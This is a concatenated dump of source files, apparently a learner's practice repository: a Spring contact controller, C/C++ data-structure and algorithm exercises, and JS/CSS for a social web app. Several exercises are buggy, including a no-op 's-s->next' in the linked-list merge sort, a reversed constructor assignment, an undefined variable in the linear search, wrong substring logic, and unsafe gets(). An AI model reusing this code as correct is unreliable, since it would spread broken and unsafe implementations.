    public void setContactRepo(ContactRepository p_contactRepo) {
        contactRepo = p_contactRepo;
    }


    // --------------------------------------------------------- Public Methods


//    @InitBinder
//    protected void initBinder(WebDataBinder binder) {
//        binder.setValidator(new ContactValidator());
//    }


    /**
     * List all contacts.
     *
     * @return ModelAndView
     * @throws Exception
     */
    @RequestMapping(value = "/index", method = RequestMethod.GET)
    public ModelAndView indexAction() throws Exception {
        LOG.debug("start SampleController > indexAction");

        List<Contact> contacts = contactRepo.findAll();

        ModelAndView mav = new ModelAndView("index");
        mav.addObject("contacts", contacts);

        return mav;
    }


    /**
     * Display the New Contact form.
     *
     * @return ModelAndView
     * @throws Exception
     */
    @RequestMapping(value = "/new", method = RequestMethod.GET)
    public ModelAndView newAction() throws Exception {
        LOG.debug("start SampleController > newAction");

        ModelAndView mav = new ModelAndView("new");
        mav.addObject("contact", new Contact());

        return mav;
    }


    /**
     * Create a new contact.
     *
     * @param newContact
     * @param result
     * @param flash
     * @return
     * @throws Exception
     */
    @RequestMapping(value = "/new", method = RequestMethod.POST)
    public String createAction(@Valid Contact newContact, BindingResult result, RedirectAttributes flash) throws Exception {
        if (result.hasErrors()) {
            return "new";
        }

        contactRepo.save(newContact);

        flash.addFlashAttribute("flash", "Success!");

        return "redirect:index";
    }


    @ModelAttribute("prefixes")
    public String[] populatePrefixes() {
        return new String[] {
            "Mr.",
            "Mrs.",
            "Ms."
        };
    }
    
}


<|start_filename|>Java/CorrectNonogram.java<|end_filename|>
import java.util.ArrayList;

final class CorrectNonogram {

    boolean correctNonogram(int size, String[][] nonogramField) {
        int len = (size + 1) / 2, sz = len + size, c = 0;
        ArrayList<String> row = new ArrayList();
        ArrayList<String> col = new ArrayList();
        for(int x = (size + 1) / 2; x < sz; x++) {
            String val = "", reg = "";
            for(int y = 0; y < sz; y++) {
                row.add(nonogramField[x][y]);
                col.add(nonogramField[y][x]);
            }
            for(int i = len; i < sz; i++) { val += row.get(i); }
            int d = 0;
            for(int i = 0; i < len; i++) {
                if(d == 0) {
                    if(row.get(i).matches("\\d+")) {
                        reg += "#{"+row.get(i)+"}";
                        d++;
                    }
                }
                else {
                    if(row.get(i).matches("\\d+")) {
                        reg += ".+#{"+row.get(i)+"}";
                    }
                }
            }
            if(!val.matches("\\.*"+reg+"\\.*")) { c++; }
            reg = val = "";
            d = 0;
            for(int i = len; i < sz; i++) { val += col.get(i); }
            for(int i = 0; i < len; i++) {
                if(d == 0) {
                    if(col.get(i).matches("\\d+")) {
                        reg += "#{"+col.get(i)+"}";
                        d++;
                    }
                }
                else {
                    if(col.get(i).matches("\\d+")) {
                        reg += ".+#{"+col.get(i)+"}";
                    }
                }
            }
            if(!val.matches("\\.*"+reg+"\\.*")) { c++; }
            col.clear();
            row.clear();
        }
        return c == 0;
    }
}

<|start_filename|>DSA/Notes and examples/pointers.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main()
{
	int a=5;
	int *ptr;
	ptr=&a;
	cout<<"address of variable="<<ptr;
	cout<<"\nvalue="<<*ptr;
	cout<<"\naddress of pointer="<<&ptr;
	return 0;
}



<|start_filename|>CPP/Data Structures/Linked List/MergeSort.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std; 

struct Node 
{
    int data;
    Node *next;
    Node(int x)
    {
        data=x;
        next=NULL;
    }
};

Node* Iend(Node *head,int x)
{
    Node *temp=new Node(x);
    if(head==NULL)
    return temp;
    Node *curr=head;
    while(curr->next!=nullptr)
    {
        curr=curr->next;
    }
    curr->next=temp;
    return head;

}

void disp(Node* head)
{
    Node* k=head;
    if(head == nullptr)
    {
        cout<<"The LL is Empty";
        return;
    }
    while(k!=nullptr)
    {
        cout<<k->data<<" - > ";
        k=k->next;
    }
}

Node *MergeLL(Node *l1,Node *l2)
{
    if(l1==nullptr || l2==nullptr)
    {
        return l1 != nullptr?l1:l2;
    } 

    Node *d=new Node(-1);
    Node *c1=l1, *c2=l2, *p=d;
    while(c1!=nullptr && c2!=nullptr)
    {
        if(c1->data < c2->data)
        {
            p->next=c1;
            c1=c1->next;
        }
        else{
            p->next=c2;
            c2=c2->next;
        }
        p=p->next;
    }

    if(c1==nullptr)
    {
        p->next=c2;
    }
    else
    {
        p->next=c1;
    }

    return d->next;

}

Node *Mid(Node *head)
{
    if(head==nullptr || head->next==nullptr)
    {
        return head;
    }
     Node *f=head , *s=head;
     while(f->next && f->next->next)
    {
        f=f->next->next;
        s-s->next;
    }

    return s;
}

Node *mergesort(Node *head)
{
    if(head==nullptr || head->next==nullptr)
    {
        return head;
    }
    Node *mid=Mid(head);
    Node *nh=mid->next;
    mid->next=NULL;

    Node *l1=mergesort(head);
    Node *l2=mergesort(nh);

    return MergeLL(l1,l2); 
}

int main()
{
    int n;
    cin>>n;
    Node* head=NULL, *head1=NULL;
    for(int i=1;i<=n;i++)
    {
        int k;
        cin>>k;
        head=Iend(head,k);
    }

    disp(head);
    cout<<endl;

    head=mergesort(head);
    disp(head);
    cout<<endl;
}
    


<|start_filename|>CPP/tappinrainwater.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
 
//Efficient implementation with time complexity - O(N).
int maxWater(int arr[], int n)
{
    int left = 0; 
    int right = n-1;
    int res = 0;
    int maxleft = 0, maxright = 0;
    while(left <= right)
    {
        if(arr[left] <= arr[right])
        {
            if(arr[left] >= maxleft) 
                maxleft = arr[left];
            else 
                res += maxleft-arr[left];
            
            left++;
        }
        else
        {
            if(arr[right] >= maxright) 
                maxright = arr[right];
            else
                res += maxright-arr[right];
            
            right--;
        }
    }
    return res;
}
 
int main()
{
    int arr[] = {0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1};
    int n = sizeof(arr)/sizeof(arr[0]);
     
    cout << maxWater(arr, n);
     
    return 0;
}


<|start_filename|>CPP/Data Structures/Trees/Binary Trees/find_diameter_binary_trees.cpp<|end_filename|>
// C++ program to find the diameter of a Binary Tree
#include <bits/stdc++.h>
using namespace std;

struct node {
	int data;
	struct node *left, *right;
};

struct node* newNode(int data);

int diameterOpt(struct node* root, int* height)
{
	int lh = 0, rh = 0;

	int ldiameter = 0, rdiameter = 0;

	if (root == NULL) {
		*height = 0;
		return 0; 
	}

	ldiameter = diameterOpt(root->left, &lh);
	rdiameter = diameterOpt(root->right, &rh);

	*height = max(lh, rh) + 1;

	return max(lh + rh + 1, max(ldiameter, rdiameter));
}

struct node* newNode(int data)
{
	struct node* node
		= (struct node*)malloc(sizeof(struct node));
	node->data = data;
	node->left = NULL;
	node->right = NULL;

	return (node);
}

// Driver Code
int main()
{

	struct node* root = newNode(1);
	root->left = newNode(2);
	root->right = newNode(3);
	root->left->left = newNode(4);
	root->left->right = newNode(5);
	
	int height = 0;
	cout << "Diameter of the given binary tree is " << diameterOpt(root, &height);

	return 0;
}




<|start_filename|>JS/AllPrime.js<|end_filename|>
let args = process.argv;
let n = parseInt(args[2])



for (let i = 1; i <= n; i++){
    let isPrime = IsPrime(i)
    if (isPrime == true) {
        console.log(i)
    }
   
}
function IsPrime(x) {
    let Prime = true
    for (let div = 2; div * div <= x; div++) {
       if (x%div == 0) {
           Prime = false
           break
            }
            else{
                Prime = true
            }

    }
    return Prime
}

<|start_filename|>CPP/TridaigonalMatrix.cpp<|end_filename|>
#include<iostream>
#include<stdlib.h> 
using namespace std;

int main(){
    int order;
    cout<<"Enter the order of the matrix"<<endl;
    cin>>order;

    int index = (4 + (3*(order - 2)));

    int arr[index];

    cout<<"Input "<<index<<" number of elements"<<endl;
    for(int i=0 ; i<index ; i++){
        cin>>arr[i];
    }

    int row, col;
    int indexkeep = 0;
    cout<<"Output"<<endl<<endl;
    for(row=1 ; row<=order ; row++){
        for(col=1 ; col<=order ; col++){
        	int diff = row - col;
            if(abs(diff)<=1){
                cout<<arr[indexkeep]<<" ";
                indexkeep++;}
            else
                cout<<"0 ";
            }
        cout<<endl;
        }
    
    
return 0;
}


<|start_filename|>DSA/DSA-VIT/Queues/Max_length_substring.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    char arr[]="abcdafrtghh";
    int n=strlen(arr);
    int curr_len=0;
    int max_len=0;

    //sliding window
    int visited[1000];

    for(int i=0;i<n;i++)
    visited[i]=0;

    //for 1st character
    visited[arr[0]]=0;

    //for the remaining characters
    for(int i=1;i<n;i++)
    {
        int last=visited[arr[i]];

        //expansion
        if(last==-1 || (i-curr_len)>last)
        curr_len++;

        //expansion and contraction
        else
        {
            if(curr_len<max_len)
            max_len=curr_len;
            curr_len=i-last;
        }
        visited[arr[i]]=i;
    }
    if(curr_len<max_len)
    max_len=curr_len;
    cout<<max_len<<endl;
}


<|start_filename|>DSA/STL/vectors.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {

    //declaration
    vector<int>v;
    vector<int>v1(5,1);//5 elements having value 1
    vector<int>v2={1,2,3,4,5};

    //printing vectors
    for(int i=0;i<v2.size();i++)
    cout<<v2[i];
    cout<<endl;

    for(auto x:v2)
    cout<<x;
    cout<<endl;

    for(auto it=v2.begin();it!=v2.end();it++)
    cout<<*it;
    cout<<endl;

    //user input
    int n;
    cin>>n;
    for(int i=0;i<n;i++)
    {
        int no;
        cin>>no;
        v.push_back(no);
    }
    cout<<endl;

    //insert elements
    v.push_back(1);
    v.insert(v.begin(),5); //(pos,val)

    //remove elements
    v.pop_back();
    v.erase(v.begin(),v.begin()+1);
    v.clear();
}



<|start_filename|>DSA/Strings/tokenization.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    char s[100];
    gets(s);

    //splitting the string wrt delimiters (ex: "-"," ","/")
    char *token=strtok(s," ");

    while(token!=NULL)
    {
        cout<<token<<endl;
        token=strtok(NULL," ");
    }
}


<|start_filename|>DSA/DSA-VIT/Linked Lists/circular_list.cpp<|end_filename|>
#include<iostream>
using namespace std;

//initialization
class node{
public:
	int data;
	node*next;
	node(int d)
	{
		d=data;
		next=NULL;
	}
};

void insert(node*&head,int data)
{
	//create a new node
	node*n=new node(data);
	node*temp=head;
	n->next=head;
	if(temp!=NULL)
	{
		while(temp->next!=head)
		{
			temp=temp->next;
		}
		temp->next=n;
	}

	//applying self loop
	else
		n->next=n;
	head=n;
}

void print(node*&head)
{
	node*temp=head;
	while(temp->next!=head)
	{
		cout<<temp->data<<" ->";
		temp=temp->next;
	}
}

node* search(node*head,int data)
{
	node*temp=head;
	while(temp->next!=head)
	{
		if(temp->data==data)
			return temp;
		temp=temp->next;
	}
	//checking for last node
	if(temp->data==data)
		return temp;
	return NULL;
}

void deleteNode(node*&head,int data)
{
	node* del=search(head,data);
	if(del==NULL)
		return;

	if(head==del)
		head=head->next;

	node*temp=head;
	while(temp->next!=del)
	{
		temp=temp->next;
	}
	temp->next=del->next;
	delete del;
}

int main()
{
	node*head=NULL;
	insert(head,10);
	insert(head,20);
	insert(head,30);
	insert(head,40);
	print(head);
	deleteNode(head,20);
	print(head);
	return 0;
}

<|start_filename|>C/temperatureConverter.c<|end_filename|>
//temperature converter from celsius to fahrenheit

#include<stdio.h>

int main()   
{   
float fahrenheit, celsius;  
celsius = 24;  
fahrenheit =( (celsius*9)/5)+32;  
printf("Temperature in fahrenheit is:  %f",fahrenheit);  
return (0); 
    
} 


<|start_filename|>CPP/Data Structures/math/factorial.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int factorial(int n)
{
    int fac=1;
    for(int i=1;i<=n;i++)
    {
        fac=fac*i;
    }
    return fac;
}
int main()
{
    int x;
    cout<<"enter the number";
    cin>>x;
    cout<<factorial(x);
}

<|start_filename|>DSA/Special Matrices/Column MajorLowerTraingular.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>

typedef struct CLowerTriangularMatrix{
    int size;
    int *A;
}Matrix;

void set(Matrix *m, int i, int j, int x){
    if(i >= j) m->A[m->size*(j-1) - ((j-1)*(j-2))/2 + i-j] = x;
}

int get(Matrix m, int i, int j){
    if(i < j) return 0;
    else return m.A[m.size*(j-1) - ((j-1)*(j-2))/2 + i-j];
}

void Display(Matrix m){
    for(int i = 1; i <= m.size; i++){
        for(int j = 1; j <= m.size; j++){
            if(i < j)
                printf("%3d ", 0);
            else
                printf("%3d ", m.A[m.size*(j -1) - ((j-1)*(j-2))/2 +i-j]);
        }
        printf("\n");
    }
}


int main(){
    Matrix mat;
    mat.size = 5;
    mat.A = (int *)malloc(sizeof(int)*(mat.size*(mat.size+1))/2);

    set(&mat, 1, 1, 24);
    set(&mat, 2, 1, 67);
    set(&mat, 2, 2, 12);
    set(&mat, 3, 1, 63);
    set(&mat, 3, 2, 19);
    set(&mat, 3, 3, 42);
    set(&mat, 4, 1, 90);
    set(&mat, 4, 2, 51);
    set(&mat, 4, 3, 63);
    set(&mat, 4, 4, 72);
    set(&mat, 5, 1, 52);
    set(&mat, 5, 2, 89);
    set(&mat, 5, 5, 61);
    set(&mat, 5, 4, 71);
    set(&mat, 5, 3, 112);

    printf("%d\n", get(mat, 5, 2));
    printf("%d\n",get(mat, 1, 0));
    printf("%d\n",get(mat, 1, 4));
    printf("%d\n",get(mat, 4, 4));
    printf("%d\n\n",get(mat, 4, 1));
    

    Display(mat);
}

<|start_filename|>CPP/Data Structures/math/primality_test.cpp<|end_filename|>
/*

8. Primality Test
Easy Accuracy: 49.98% Submissions: 38509 Points: 2

A prime number is a number which is only divisible by 1 and itself.
Given number N check if it is prime or not.

 

Example 1:

Input:
N = 5
Output: Yes
Explanation: 5 is only divisible by 1 
and itself. So, 5 is a prime number.

 

Example 2:

Input:
N = 4
Output: No
Explanation: 4 is divisible by 2. 
So, 4 is not a prime number.

 

Your Task:
You don't need to read input or print anything. Your task is to complete the function isPrime() that takes N as input parameter and returns True if N is prime else returns False. 

 

Expected Time Complexity : O(N1/2)
Expected Auxilliary Space :  O(1)

 

Constraints:
1 <= N <= 109*/
// { Driver Code Starts
//Initial Template for C++
#include<bits/stdc++.h>
using namespace std;


 // } Driver Code Ends
//User function Template for C++

class Solution{
    public:
        bool isPrime(int n)
    {
        //Your code here
    for(int i=2;i<=sqrt(n);i++)
        {
            if (n%i==0)
            {
                return 0;
            }
        }
    return true;
    }

};
 
// { Driver Code Starts.

int main()
{
    int T; //testcases
    cin>>T; //input testcases
    while(T--) //while testcase have not been exhausted
    {
        int N;
        cin>>N; //input n
        Solution ob;
        if(ob.isPrime(N)) 
            cout<<"Yes";
        else
            cout<<"No";
            
        cout << endl;
    }
    return 0;
}
  // } Driver Code Ends

<|start_filename|>DSA/Special Matrices/UpperTriangularMatrix.cpp<|end_filename|>
#include <iostream>
#define endl "\n"
using namespace std;

//Row Major-Upper Triangular
class RUpperTriMatrix{
    private:
    int size;
    int *A;

    public:
        RUpperTriMatrix(int n){
            size = n;
            A = new int[(n*(n+1))/2];
        }

        void set(int i, int j, int x);
        int get(int i, int j);
        void Display();
        ~RUpperTriMatrix(){delete [] A;}
};

void RUpperTriMatrix :: set(int i, int j, int x){
    if(i <= j)
        A[size*(i-1) - ((i-1)*(i-2))/2 + j-i] = x;
}

int RUpperTriMatrix :: get(int i, int j){
    if(i <= j) return A[size*(i-1) -  ((i-1)*(i-2))/2 +j-i];
    else return 0;
}

void RUpperTriMatrix :: Display(){
    for(int i=1; i<= size; i++){
        for(int j=1; j <= size; j++){
            if(i <= j) printf("%3d ", A[size*(i-1) - ((i-1)*(i-2))/2 + j-i]);
            else printf("%3d ",0);
        }
        cout << endl;
    }
} 

//Column Major-Upper traingular
class CUpperTriMatrix{
    private:
    int size;
    int *A;

    public:
    CUpperTriMatrix(int n){
        this->size = n;
        A = new int[(n*(n+1))/2];
    }
    ~CUpperTriMatrix(){delete [] A;}
    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
};

void CUpperTriMatrix :: set(int i, int j, int x){
    if(i <= j) A[(j*(j-1))/2 + i-1] = x;
}

int CUpperTriMatrix :: get(int i, int j){
    if(i <= j) return A[(j*(j-1))/2 + i-1];
    else return 0;
}

void CUpperTriMatrix :: Display(){
    for(int i=1; i<=size; i++){
        for(int j=1; j <=size; j++){
            if(i <= j) printf("%3d ",A[(j*(j-1))/2 + i-1]);
            else printf("%3d ", 0);
        }
        cout << endl;
    }
}

int main(int argc, char const *argv[])
{
    int size;
    cin >> size;
    RUpperTriMatrix tri1(size);
    CUpperTriMatrix tri2(size);
    int num;
    for(int i=1; i<=size; i++) {
        for(int j=1; j <=size; j++){
            cin >> num; 
            tri1.set(i, j, num);
            tri2.set(i, j, num);
        }
    }   

    tri1.Display();
    cout << endl << endl;
    cout << tri1.get(5,5) << endl;
    cout << tri1.get(3,4) << endl;
    cout << tri1.get(4,1) << endl;

    tri2.Display();
    cout << endl << endl;
    cout << tri2.get(5,5) << endl;
    cout << tri2.get(3,4) << endl;
    cout << tri2.get(4,1) << endl;
    return 0;
}


<|start_filename|>CPP/KMP_Pattern_Searching.cpp<|end_filename|>
/* This program prints the number of times given pattern occurs in a string in O(n) using KMP */
#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
#define mod 1000000007
#define FOR(i,x) for(int i = 0; i < x; i++)
#define For(x,y) for(int i = x; i <= y; i++)
#define vint(x) vector<int>x
#define vl(x) vector<long>x
#define vll(x) vector<long long>x
#define pb push_back
#define oset tree <int, null_type , less , rb_tree_tag, tree_order_statistics_node_update>
const int mx = 1e6;
int main()
{
//	freopen("input.txt", "r", stdin);
//	freopen("output.txt", "w", stdout);
	ios_base::sync_with_stdio(0);
	cin.tie(0);
	cout.tie(0);
    string p,s;
    cin>>p>>s;
    int n = s.length(), m = p.length(), ans = 0;
    int lps[m] = {0};   // An array of longest prefix count for each index
    for(int i = 1; i < m; i++)   // Calculating longest proper prefix which is also a suffix
    {
        int j = lps[i-1];
        while(j > 0 && p[i] != p[j])
        j = lps[j-1];
        if(p[i] == p[j])
        ++j;
        lps[i] = j;
    }
    int j = 0;
    for(int i = 0; i <= (n-m); i++)
    {
        int q = i;
        for(; j < m; j++)
        {
            if(p[j] == s[i])
            ++i;
            else
            break;
        }
        if(j == m) // Pattern Matches
        {
            ++ans;
            i = q;
        }
        else
        {
            if(j == 0) // If first character itself don't match
            continue;
            --i;      // Start matching again at mismatch character
        }
        j = lps[j-1];
    }
    cout<<ans<<endl;
}

<|start_filename|>C/Linear_Search.c<|end_filename|>
#include<stdio.h>
#include<conio.h>
void main()
{
clrscr();
int i,n,a[100],search;
printf("Enter number of elements : ");
scanf("%d",&n);
printf("\nEnter %d elements : \n",n);
for(i=0;i<n;i++)
 {
 scanf("%d",&a[i]);
 }
printf("\nEnter element to be searched : ");
scanf("%d",&search);
for(i=0;i<n;i++)
 {
 if(a[i]==search)
  {
  printf("\nFound at %d .",m+1);
  break;
  }
 }
if(i==n)
 {
 printf("\nElement not found.");
 }
getch();
}


<|start_filename|>DSA/DSA-VIT/Linked Lists/queue.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class Queue{
public:
	int n;
	list<int>l;

	Queue()
	{
		n=0;
	}

	bool isEmpty()
	{
		return n==0;
	}

	void push(int data)
	{
		l.push_back(data);
		n++;
	}

	void pop()
	{
		if(!isEmpty())
		{
			n--;
			l.pop_front();
		}
	}

	int front()
	{
		return l.front();
	}
};

int main()
{
	Queue q;

	for(int i=0;i<6;i++)
		q.push(i);

	while(!q.isEmpty())
	{
		cout<<q.front()<<endl;
		q.pop();
	}
	return 0;
}

<|start_filename|>CPP/nQueens.cpp<|end_filename|>
#include<iostream>
using namespace std;
#define N 5

void printBoard(int board[N][N])
{
    for(int i=0;i<N;i++)
    {
        for(int j=0;j<N;j++)
        {
            printf("%d ", board[i][j]);
        }
        printf("\n");
    }

}

bool isValid(int board[N][N], int row, int col)
{
    for(int i = 0; i < col; i++) // Check the left columns if they contain a queen on the same row
    {
        if(board[row][i])
        {
            return false;
        }
    }

    for(int i = row, j = col; i>=0 && j>=0; i--, j--) // check the upper left diagonal for other queens
    {
        if(board[i][j])
        {
            return false;
        }
    }

    for(int i = row, j = col; i < N && j >= 0; i++, j--) // check the lower left diagonal for other queens
    {
        if(board[i][j])
        {
            return false;
        }
    }

    return true; // if there is no queen to the left, on the upper or lower left diagonals place the queen on current board[row][col]
}


bool placeQueens(int board[N][N], int col)
{

    if(col >= N)
    {
        return true;
    }

    for(int i = 0; i < N; i++)
    {

        if(isValid(board, i, col))
        {
            board[i][col] = 1;

            printBoard(board);
            cout << "\n\n";

            if(placeQueens(board, col + 1))
            {
                return true;
            }

            cout << "steps failed. Backtracking" << endl;
            board[i][col] = 0;
            printBoard(board);
            cout << "\n\n";

        }

    }
}


int main()
{

    int board[N][N];

    for(int i = 0; i < N; i++)
    {
        for(int j = 0; j < N; j++)
        {
            board[i][j] = 0;
        }
    }
   
    if (placeQueens(board, 0) == false) 
    { 
        printf("Solution does not exist"); 
        return 0; 
    } 
   
    printBoard(board); 

    return 0;
}

<|start_filename|>DSA/STL/map.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
map<int,string>m;
m[0]="abc";
m[2]="xyz";
m[5]="sdf";
m.insert({3,"vgh"});

for(auto x:m)
cout<<x.first<<" "<<x.second<<endl;
  
}

<|start_filename|>Python/Sakha/Sakha/static/js/profile.js<|end_filename|>
/*---------------------------------
Functionality related with hiding or showing the profile navigation
----------------------------------*/ 
const profileBtn = document.querySelector('.profile__btn');
const profileNavigation = document.querySelector('.profile__navigation');

profileBtn.addEventListener('click', () => {
    profileNavigation.classList.toggle('profile__navigation__hidden');
});




/*----------------------------------
* Functionality for showing and hiding the post side navigation
-----------------------------------*/
const sideNavShowBtns = document.querySelectorAll('.sideNavShowBtn');
const sideNavHideBtns = document.querySelectorAll('.sideNavHideBtn');
const sideNavs = document.querySelectorAll('.post__related__btn__links');

sideNavShowBtns.forEach((btn, index) => {
        btn.addEventListener('click',() => {
        sideNavs[index].classList.add('show__post__sidenav');
    });
});

sideNavHideBtns.forEach((btn, index) => {
        btn.addEventListener('click',() => {
        sideNavs[index].classList.remove('show__post__sidenav');
    });
});



/*-----------------------------------
 * Heart button related functionality
 ------------------------------------*/
 const heartBtns = document.querySelectorAll('.heart__btn');
 const totalHearts = document.querySelectorAll('.heart__btn span');
 const heartIcons = document.querySelectorAll('.heart__btn i');
 
 if (heartBtns) {
     
     heartBtns.forEach((heartBtn, index) => {
         heartBtn.addEventListener('click', e => {
             e.preventDefault();
             const postId = Number(heartBtn.dataset.postid);
     
             fetch('/like_action', {
                 headers : {
                     'Content-Type':'application/json'
                 },
                 method : 'POST',
                 body : JSON.stringify({
                     'post_id':postId
                 })
             })
             .then(res => res.json()).then(res => {
                 heartBtn.classList.toggle('heart__btn__active');
                 totalHearts[index].textContent = res["totalLikes"];
                 heartIcons[index].classList.toggle('far');
                 heartIcons[index].classList.toggle('fas');
             })
         })
     })
 }
 

<|start_filename|>DP/0_1_knapsack.cpp<|end_filename|>
 #include<iostream>
 #include<bits/stdc++.h>
 using namespace std;
 
 #include "../debug.h"
 
int t[1002][1002];
 
int MyKnapSack(int W, int wt[], int val[], int n){
    if(W==0 || n==0) 
        return 0;
   
    if(t[n][W] != -1) 
        return t[n][W];
   
    if(wt[n-1]<=W)   
        return t[n][W] = max(val[n-1]+MyKnapSack(W-wt[n-1], wt, val, n-1), MyKnapSack(W, wt, val, n-1));
    else 
        return t[n][W] = MyKnapSack(W, wt, val, n-1);
}

int knapSack(int W, int wt[], int val[], int n) { 
    memset(t, -1, sizeof(t));
    return MyKnapSack(W, wt, val,n);
}
 
int main(){
    // freopen("../input.txt", "r", stdin);  
    freopen("../output.txt", "w", stdout);
    freopen("../Error.txt", "w", stderr);
 
    int wt[] = {1,3,4,5};
    int val[] = {1,4,5,7};
    int n = sizeof(wt)/sizeof(wt[0]);
    int W = 7;

    cout<<knapSack(W, wt, val, n);
 }


<|start_filename|>CPP/connected components_graphs.cpp<|end_filename|>
#include <iostream>
#include <vector>
#include <unordered_set>
using namespace std;

void dfs(int start, vector<int>* edges, int n, unordered_set<int>& visited, unordered_set<int> * component) {
	visited.insert(start);
	component->insert(start);
	vector<int>::iterator it = edges[start].begin();
	for (;it != edges[start].end(); it++) {
		int i = *it;
		if (visited.count(i) > 0) {
			continue;
		}
		dfs(i, edges,n, visited, component);
	}
}

unordered_set<unordered_set<int>*>* getComponents(vector<int>* edges, int n) {
	unordered_set<int> visited;
	unordered_set<unordered_set<int>*>* output = new unordered_set<unordered_set<int>*>();
	for (int i = 0; i < n; i++) {
		if (visited.count(i) == 0) {
			unordered_set<int> * component = new unordered_set<int>();
			dfs(i, edges,n, visited, component);
			output->insert(component);
		}
	}
	return output;
}

int main() {
	int n;
	cin >> n;
	vector<int>* edges = new vector<int>[n];
	int m;
	cin >> m;
	for (int i = 0; i < m; i++) {
		int j, k;
		cin >> j >> k;
		edges[j - 1].push_back(k - 1);
		edges[k - 1].push_back(j - 1);
	}
	unordered_set<unordered_set<int>*>* components = getComponents(edges, n);
	unordered_set<unordered_set<int>*>::iterator it = components->begin();
	while (it != components->end()) {
		unordered_set<int>* component = *it;
		unordered_set<int>::iterator it2 = component->begin();
		while (it2 != component->end()) {
			cout << *it2 + 1 << " ";
			it2++;
		}
		cout << endl;
		delete component;
		it++;
	}
	delete components;
	delete edges;
}








<|start_filename|>DSA/DSA-VIT/Queues/queue_STL.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    queue<int>q;

    for(int i=0;i<=5;i++)
    q.push(i);

    while(!q.empty())
    {
        cout<<q.front()<<endl;
        q.pop();
    }
}



<|start_filename|>DSA/STL/swap.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   int a=10,b=4;

   swap(a,b);

   cout<<a<<" and "<<b;
}



<|start_filename|>Python/Sakha/Sakha/static/css/userProfile.css<|end_filename|>
/************************
PROFILE SUB SECTION 2
*************************/
.profile--main--container {
  width: 100%;
  max-width: 840px;
  margin: 0 auto;
  background-color: var(--color-white);
  font-family: 'Poppins',sans-serif;
}

.profile__sub__container__one {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
}

.profile__header__img__container {
  width: 100%;
  height: 20em;
}

.profile__header__img__container img {
  width: 100%;
  height: 100%;
  display: block;
  -o-object-fit: cover;
     object-fit: cover;
}

.profile__avatar__img__container {
  position: relative;
}

.profile__avatar__img__container .avatar__container {
  text-align: Center;
  position: absolute;
  top: 50%;
  left: 50%;
  -webkit-transform: translate(-50%, -50%);
          transform: translate(-50%, -50%);
}

.profile__avatar__img__container .avatar__container h2 {
  font-family: 'Nunito',sans-serif;
  color: var(--h1-color);
  line-height: 1.1;
}

.profile__avatar__img__container .avatar__container p {
  color: var(--general-color);
}

.avatar__container div {
  height: 11em;
  width: 11em;
  border-radius: 50%;
  border: 5px solid var(--color-white);
  background-color: var(--color-white);
  -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3);
          box-shadow: 0 0 6px rgba(0, 0, 0, 0.3);
}

.avatar__container div img {
  width: 100%;
  height: 100%;
  display: block;
  -o-object-fit: cover;
     object-fit: cover;
  border-radius: 50%;
}

/***************************
PROFILE SUB CONTAINER TWO
***************************/
.profile__sub__container__two {
  margin-top: 7em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: auto max-content;
      grid-template-columns: auto -webkit-max-content;
      grid-template-columns: auto max-content;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  gap: 2em;
  padding: 3em 1.5em;
  color: var(--profile-para-color);
}

.profile__sub__container__two > div:not(.follow__btn__container) {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  gap: .65em 0;
}

.profile__sub__container__two > div:not(.follow__btn__container) i {
  margin-right: .5em;
}

.follow__btn__container {
  justify-self: flex-end;
}

.follow__btn__container button {
  background-color: var(--h1-color);
  padding: .3em .6em;
  border-radius: .6em;
  display: block;
  color: var(--color-white);
  -webkit-box-shadow: 0 0 4px rgba(0, 0, 0, 0.5);
          box-shadow: 0 0 4px rgba(0, 0, 0, 0.5);
  font-size: .9em;
  border: none;
  font-family: inherit;
  font-weight: 500;
}

.follow__btn__container button:hover, .follow__btn__container button:focus {
  opacity: .75;
  cursor: pointer;
}

.follow__details__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.follow__details__container .followers__btn {
  margin-right: 1em;
}

.follow__details__container button {
  color: var(--h1-color);
  background: transparent;
  display: block;
  font-weight: 700;
  border: none;
  font-size: 1em;
  font-family: inherit;
}

.follow__details__container button:hover, .follow__details__container button:focus {
  opacity: .7;
  cursor: pointer;
}

/**************************
PROFILE USER POSTS SECTION
*************************/
.profile__user__posts {
  max-width: 540px;
  width: 93%;
  margin: 0 auto;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  grid-row-gap: 2em;
}

.profile__user__posts__container {
  background-color: var(--home-logged-bg);
  padding: 2em 0;
}

.profile__user__posts article {
  width: 100%;
  background-color: var(--color-white);
  -webkit-box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
          box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
  border-radius: .5em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
